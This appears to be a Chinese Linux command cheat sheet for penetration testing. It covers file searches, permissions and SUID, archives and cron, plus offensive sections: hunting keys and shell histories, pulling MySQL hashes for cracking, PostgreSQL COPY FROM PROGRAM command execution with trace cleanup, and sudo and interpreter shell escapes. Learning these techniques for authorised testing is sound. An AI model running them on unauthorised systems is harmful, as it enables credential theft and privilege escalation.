跳转至

Linux 基础命令与权限速查

文件检索

Bash
# grep
# -r = 递归读取目录
# -R = 递归读取目录,并且会跟随符号链接
# 递归检索 /home 下文件内容,并输出不包含 test 的行
grep -Rv 'test' /home 2>/dev/null
# 递归检索 /home 下不包含 test 的文件名
grep -RL 'test' /home 2>/dev/null

# 查找 /home 下所有名为 .bashrc 的文件,并在每个文件中检索包含 key 的行
find /home -name .bashrc -exec grep 'key' {} \; 2>/dev/null

# 查找 /home 目录每个文件中 key 的行,并显示文件路径
find /home -type f -exec grep -H 'key' {} \; 2>/dev/null

# 查找 /home 下常见 shell 历史文件
find /home -name '*sh_history' 2>/dev/null

# 有时系统用户不在 /home 目录下,需要排查 /etc/passwd
cat /etc/passwd

grep -A 1 'key' 1.txt  # 匹配行后多显示 1 行
grep -B 1 'key' 1.txt  # 匹配行前多显示 1 行
grep -C 1 'key' 1.txt  # 匹配行前后各显示 1 行

Linux 文件/目录权限

Bash
1
2
3
4
5
6
7
# 查看文件/目录权限
ls -l
ls -ld

# 例如
ls -ld /tmp
# drwxrwxrwt 1 root root 4096 Apr 23 06:17 /tmp

/tmp 目录为例,权限字符串 drwxrwxrwt 可拆分为:

Text Only
文件类型 | 所有者权限 | 所属组权限 | 其他用户权限
d | rwx | rwx | rwt
  • d :表示一个目录。第一个字符表示文件类型,常见取值如下:
  • -:普通文件

  • d:目录

  • l:符号链接

  • c:字符设备

  • b:块设备

  • p:管道文件

  • s:套接字文件

  • 第 1 组 rwx:表示所有者(user)的权限。

  • r:读取权限

  • w:写入权限

  • x:执行权限

  • 第 2 组 rwx:表示所属组(group)的权限。含义与所有者权限一致。

  • 第 3 组 rwt:表示其他用户(others)的权限。
  • r:可读
  • w:可写
  • t:表示设置了粘滞位(sticky bit)。

除了 t 粘滞位,还有 T S s

Bash
# 基础执行权限
rwx

# 第一组 x 位:setuid
rws  # 有执行权限,同时设置了 setuid
rwS  # 没有执行权限,但设置了 setuid

# 第二组 x 位:setgid
rws  # 有执行权限,同时设置了 setgid
rwS  # 没有执行权限,但设置了 setgid

# 第三组 x 位:sticky bit
rwt  # 有执行权限,同时设置了 sticky bit
rwT  # 没有执行权限,但设置了 sticky bit

# user 组的 x 位 -> s/S = setuid
# group 组的 x 位 -> s/S = setgid
# others 组的 x 位 -> t/T = sticky bit

# 用数字表示
4 = setuid
2 = setgid
1 = sticky bit

# 例子
4755  setuid + 755
2755  setgid + 755
1777  sticky bit + 777
Bash
1
2
3
4
# 例子
-rwsr-xr-x  # setuid
-rwxr-sr-x  # setgid
drwxrwxrwt  # sticky bit
  • SUID:普通用户执行这个文件时,进程会临时以文件所有者的身份运行。
  • SGID:用户执行该文件时,进程会临时以文件所属组的身份运行。
  • Sticky Bit:即使目录对所有人可写,普通用户也只能删除自己创建的文件,不能随便删除别人的文件。

文件解压缩处理

zip/unzip

Bash
# 将 1.txt 压缩为 1.zip
zip 1.zip 1.txt
# 将多个文件压缩为 test.zip
zip test.zip 1.txt 2.txt 3.txt
# 递归压缩目录
zip -r test.zip testdir/

# 解压到当前目录
unzip test.zip
# 解压到指定目录
unzip test.zip -d ./output/

# 查看 zip 内容
unzip -l test.zip

7z

Bash
# 压缩文件
7z a test.7z 1.txt
# 压缩多个文件
7z a test.7z 1.txt 2.txt 3.txt
# 压缩目录
7z a test.7z testdir/

# 解压到当前目录
7z x test.7z
# 解压到指定目录
7z x test.7z -o./output/

# 查看压缩包内容
7z l test.7z

tar

Bash
# tar
# 打包目录
tar -cvf test.tar testdir/
# 解包
tar -xvf test.tar

# tar.gz/
# 打包目录
tar -zcvf test.tar.gz testdir/
# 解包
tar -zxvf test.tar.gz

# tar.bz2
# 打包目录
tar -jcvf test.tar.bz2 testdir/
# 解包
tar -jxvf test.tar.bz2

bunzip2

Bash
1
2
3
4
5
6
7
# 压缩
bzip2 file.txt
bzip2 -k file.txt  # 保留原文件

# 解压
bunzip2 file.txt.bz2
bzip2 -d file.txt.bz2

gzip

Bash
# 查看文件不落地
zcat file.gz

# 压缩
gzip file.txt
gzip -k file.txt  # 保留原文件

# 解压
gzip -d file.gz
gunzip file.gz

Linux 临时目录

Bash
1
2
3
/tmp  # 重启后很多系统会清空
/var/tmp  # 一般不会像 /tmp 那样在重启后立即清空
/dev/shm  # 基于内存的临时文件系统

Linux 计划任务

Bash
# 系统计划任务
/etc/crontab
/etc/cron.hourly/
/etc/cron.daily/
/etc/cron.weekly/
/etc/cron.monthly/
/etc/cron.d/

# 当前用户计划任务
crontab -l

# Debian/Ubuntu
/var/spool/cron/crontabs/

# CentOS/RHEL
/var/spool/cron/

MySQL 密码提取

Bash
# MySQL 用户表文件通常位于:
/var/lib/mysql/mysql/

# 老版本 MySQL / MyISAM 可能存在:
user.frm  # 表结构文件
user.MYD  # 表数据文件
user.MYI  # 表索引文件

# 可通过 strings 等方式从 user.MYD 中提取历史密码 hash,再尝试使用 John/Hashcat 破解
strings /var/lib/mysql/mysql/user.MYD 2>/dev/null

PostgreSQL RCE

SQL
# 连接 PostgreSQL
psql -U user -W

# 查看数据库
\l

# 切换数据库
\c databases_name

# 查看表信息
\d

# 查询表信息
select * from users;

# PostgreSQL 9.3+ 支持 COPY FROM PROGRAM
# 通常需要 superuser 权限,或具备 pg_execute_server_program 角色权限
DROP TABLE IF EXISTS cmd_exec;  # 删除表,防止已经存在
CREATE TABLE cmd_exec(cmd_output text);  # 创建表
COPY cmd_exec FROM PROGRAM 'id';  # 执行命令
SELECT * FROM cmd_exec;  # 查看命令回显
DROP TABLE IF EXISTS cmd_exec;  # 清理痕迹

Sqlite 数据库

SQL
1
2
3
4
5
6
7
8
# 数据库连接
sqlite3 xxx.db

# 查看所有表
.tables

# 查看表内容
select * from users;

Sudo 提权

Bash
# 配置文件
/etc/sudoers
# 格式:
# 用户/用户组 主机=(可切换的用户:可切换的组) 可执行命令
# user 可以在任意主机上,以任意用户身份执行任意命令
user ALL=(ALL) ALL
# sudo 组中的用户,可以在任意主机上,以任意用户、任意组身份执行任意命令
%sudo ALL=(ALL:ALL) ALL

# 查看 sudo 权限
sudo -l

# 通过 -u 指定以 user 用户权限执行 /bin/bash
sudo -u user /bin/bash

Vim 基础使用

Bash
# 打开文件
vim filename

# vim 界面操作
:wq  # 保存退出
:wq!  # 强制保存退出
:q  # 不保存退出,前提是文件未修改
:q!  # 强制不保存退出
:r filename  # 读取文件内容到当前缓冲区
:!/bin/bash  # 执行外部命令

Less 基础使用

Bash
1
2
3
4
5
6
7
# 打开文件
less filename
ps aux | less

# less 界面操作
:e filename  # 读文件
:!/bin/bash  # 执行 /bin/bash 命令

Awk 基础使用

Bash
1
2
3
4
5
# 读文件
awk '{print $1}' /etc/passwd

# 执行命令
awk 'BEGIN {system("/bin/bash")}'

编程语言执行 Shell

Bash
# perl
perl -e 'exec "/bin/sh"'

# ruby
ruby -e 'exec "/bin/sh"'
# 通过使用 '[COMMAND]' 来执行命令
/usr/bin/ruby -e 'require "irb" ; IRB.start(__FILE__)'

# python
python -c 'import os; os.execl("/bin/sh", "sh")'

# node
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
# 代码
var exec = require('child_process').exec;
exec('[COMMAND]', function (error, stdOut, stdErr) {
  console.log(stdOut);
});